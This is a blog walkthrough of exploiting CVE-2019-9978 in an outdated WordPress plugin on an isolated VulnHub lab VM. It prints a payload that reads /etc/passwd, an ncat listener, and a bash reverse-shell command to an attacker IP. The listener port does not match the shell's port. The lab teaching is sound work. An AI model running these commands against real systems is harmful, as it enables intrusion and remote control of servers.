Once you know the environment, it’s time to break in
Today we’re going to follow-up last week’s blog post about the information gathering phase of PenTesting with a post about the exploitation phase of a PenTest. As discussed last week, we’re running the VM “SoSimple” from VulnHub. We’ve already found a good deal of information about the VM, including an instance of Wordpress, as well as the login credentials for that Wordpress account.
The exploitation phase of a PenTest is when we take the knowledge we’ve gained about the system and try to find the cracks in the armor, so to speak. Last week, I challenged myself at seeing how much information I could gather with a single tool, but that will not be the case in this phase today — crafting an exploit can be tricky, will often involve much further research online, and you will usually want to make use of every tool at your disposal to gain an advantage. Exploitation is not the phase when we “take over” the victim’s system, nor is it the end state of the PenTest. Exploitation is, simply, look for vulnerabilities that could potentially give us that first bit of access to the system. Once we finally achieve this, we will move on to the next phase, which is lateral movement across the system, as we try to take the exploit and use it as a means to gain further access, escalate privileges, and establish a reliable, more permanent means of access for future actions.
Some PenTesters like to lump “exploit” and any post-exploit or lateral movement into the same phase of PenTesting and simply call it the “attack” phase. While there’s certainly nothing wrong with this, I like to break down the phases even further, to add some more detail and structure to the process. Of course, in reality, the phases of a PenTest can be pretty fluid — an exploit might lead to a dead end, researching vulnerabilities may need to restart, or a more aware adversary blocks off an attack vector — but, for this exercise, I’m mainly concerned with that initial exploit that will get us “in.”
Last week, we acquired some login credentials for the Wordpress account on this VM. In an online setting where the VM is not isolated, this information alone would be enough to wreak havoc — we could potentially use these credentials to access other services (a reminder to never reuse passwords), we could just take down the Wordpress site, maybe access privileged information that should only be accessible to an admin, or we could upload some malicious code to be executed on someone else’s browser. In our specific instance, however, the “SoSimple” VM is entirely isolated, so our uses for these online credentials are somewhat limited.
Instead, before we start the exploit phase, we’re going to “cheat” and gather a bit more info with the WPScan utility, which I introduced at the very end of last week’s post. This utility can perform a scan of a Wordpress installation and give us a pretty comprehensive picture of everything running. In our case, WPScan gives us a lot of information, including directories and extra plug-ins and themes that have been installed in the stack. Crucially, WPScan has revealed that several plug-ins are out of date.
(Note, because of some changes to my virtual environment that I made between last week’s post and this week’s, the IP address of “SoSimple” has been changed to 192.168.1.4, but I promise it is otherwise the same VM).
Let’s pause here to talk about outdated software. This is a huge reason for a large number of compromises in today’s world. Updates aren’t just released to refresh the UI or to get an app to run a little faster — often, they are released to fix vulnerabilities or exploits that the developers have found. Scanning for outdated software is surprisingly easy, and anyone who is running any equipment, software, or services that touch the internet in any capacity absolutely must stay abreast of updates as they are released. Otherwise, you risk being compromised as attackers love to take advantage of bugs or vulnerabilities introduced by outdated software.
I think we’re going to want to take a good look at some of these outdated plugins. At this point, the internet is going to be your best friend. Nobody is really capable of keeping an entirely indexed database of every known vulnerability in their head, so you will probably spend a little time in any PenTest referencing version vulnerabilities online (though, if you are capable of tracking every known vulnerability ever in your head, umm, good job? I am extremely jealous). This isn’t to say that you shouldn’t be aware of some of the biggest vulnerabilities out there — a good security practitioner is going to want to stay up to date with the latest vulnerabilities, most popular exploits, and the peculiarities of their specific environments so they know how to spot weaknesses and stop compromises before a major incident happens.
It would appear that the Wordpress theme twentynineteen and the plugin simple-cart-solution are both out of date, but, from a quick glance online, aren’t susceptible to any major vulnerabilities. The out of date plugin Social Warfare, however, is susceptible to a major exploit that made the rounds on the internet last year. Tracked under “CVE-2019–9978,” this exploit allows for Cross Site Scripting (XSS) and Remote Code Execution (RCE). RCE is particularly relevant for us because, if pulled off correctly, it could potentially launch a shell and allow us full access to the system running the Wordpress installation. This is exactly the kind of thing we’re looking for!
Github user @hash3liZer has a good rundown showing how to use this exploit (here), but we’re going to try it for ourselves and see what we can do. WPScan also has a proof of concept on their own site about this particular exploit.
First, we’re going to see if we can get some kind of verification that the exploit will work. I’m going to keep it pretty simple, no heavy coding necessary, but we will have to do just a little bit of scripting. To start, we’ll make the payload file, which is just text containing the command
<pre>system(‘cat /etc/passwd’)</pre>
We can see that the particular bash command contained here will give us the contents of the “passwd” file in Linux, which lists all of the users for that system. Obviously, this should not be accessible to outside users, so, if this works, we’ve definitely got a usable exploit on our hands.
The payload has to be uploaded to a server that the vulnerable Wordpress server can also access. Python has a module that allows for a quick and easy way to make an HTTP server.
python -m SimpleHTTPServer
This command just tells the terminal to execute the python module SimpleHTTPServer, which creates an HTTP directory from wherever you are currently residing in the shell. By default, it is viewed over port 8000. I should note, this is NOT a safe or secure method of file sharing/directory traversal, so I wouldn’t recommend using this module on any network you do not explicitly trust. I’m creating this http directory on my Kali Linux VM, which is on an isolated network that is only shared by one other device — the “SoSimple” VM. As you can see by the screenshots below, we’ve successfully made the text file “payload” accessible.
Now here’s the real test. We need to open a browser and navigate to this link, but replacing WEBSITE with the vulnerable website’s IP address and ATTACKER_HOST with the IP address of my attacking VM.
Success! This is indeed the contents of the passwd file. It shouldn’t be accessible to a remote user: this means we’ve been able to execute a command on the server locally, using someone else’s permissions.
At this point, we’ve definitely found our “crack” armor. We can leverage this RCE exploit to get into the system. Now, we want to try launching a reverse shell to allow us to move around.
A reverse shell is pretty much what it sounds like — a shell session initiated by a remote machine, not the local host (so, the reverse of a normal shell). If we can get a reverse shell on this VM going, we can traverse over a large swath of the VM. We are “inside” and have successfully penetrated the system.
To initiate a reverse shell, first we need to open a listening port on our attacking machine for the reverse shell to call back to. We can use netcat for that:
ncat -l -p 1111
Now that the we have port 1111 listening for the reverse shell, we need to change our earlier payload txt command to the reverse shell command.
If you think back to last week’s post about information gathering, we know that the SoSimple VM is a Linux machine with SSH running, so it’s a pretty safe bet that it can run bash scripts. You can find other reverse shell commands here, but we’ll be trying it in bash.
For some reason, my initial command to establish a reverse shell in bash wouldn’t work, but when I wrapped it in a command to execute the script in bash, it worked.
‘Bash -c “bash -i >& /dev/tcp/192.168.1.5/8080 0>&1”’
Now we execute the same web link as before and check our listening port on the terminal window.
As you can see, the reverse shell has connected, and we can now navigate inside the VM itself. A successful penetration!
The next phase, which we won’t cover here, would involve lateral movement, privilege escalation, and finding a way to establish persistence. Basically, now that we can get inside the VM, we need to establish a more legitimate means to connect with the system without using the RCE exploit. That way, even if the plugin were updated, we would still already be in the system and able to do whatever we want.
I hope that explains the process of crafting an exploit clearly. Often, when someone outside of cybersecurity thinks of “hacking,” they think of someone who furiously types code until they “break in”, but, in reality, it’s really more a matter of researching (plus some trial and error). And, remember, we got into the whole system today purely because an optional plugin hadn’t been updated. If you don’t take away anything else, take away this — you need to keep your devices up to date!
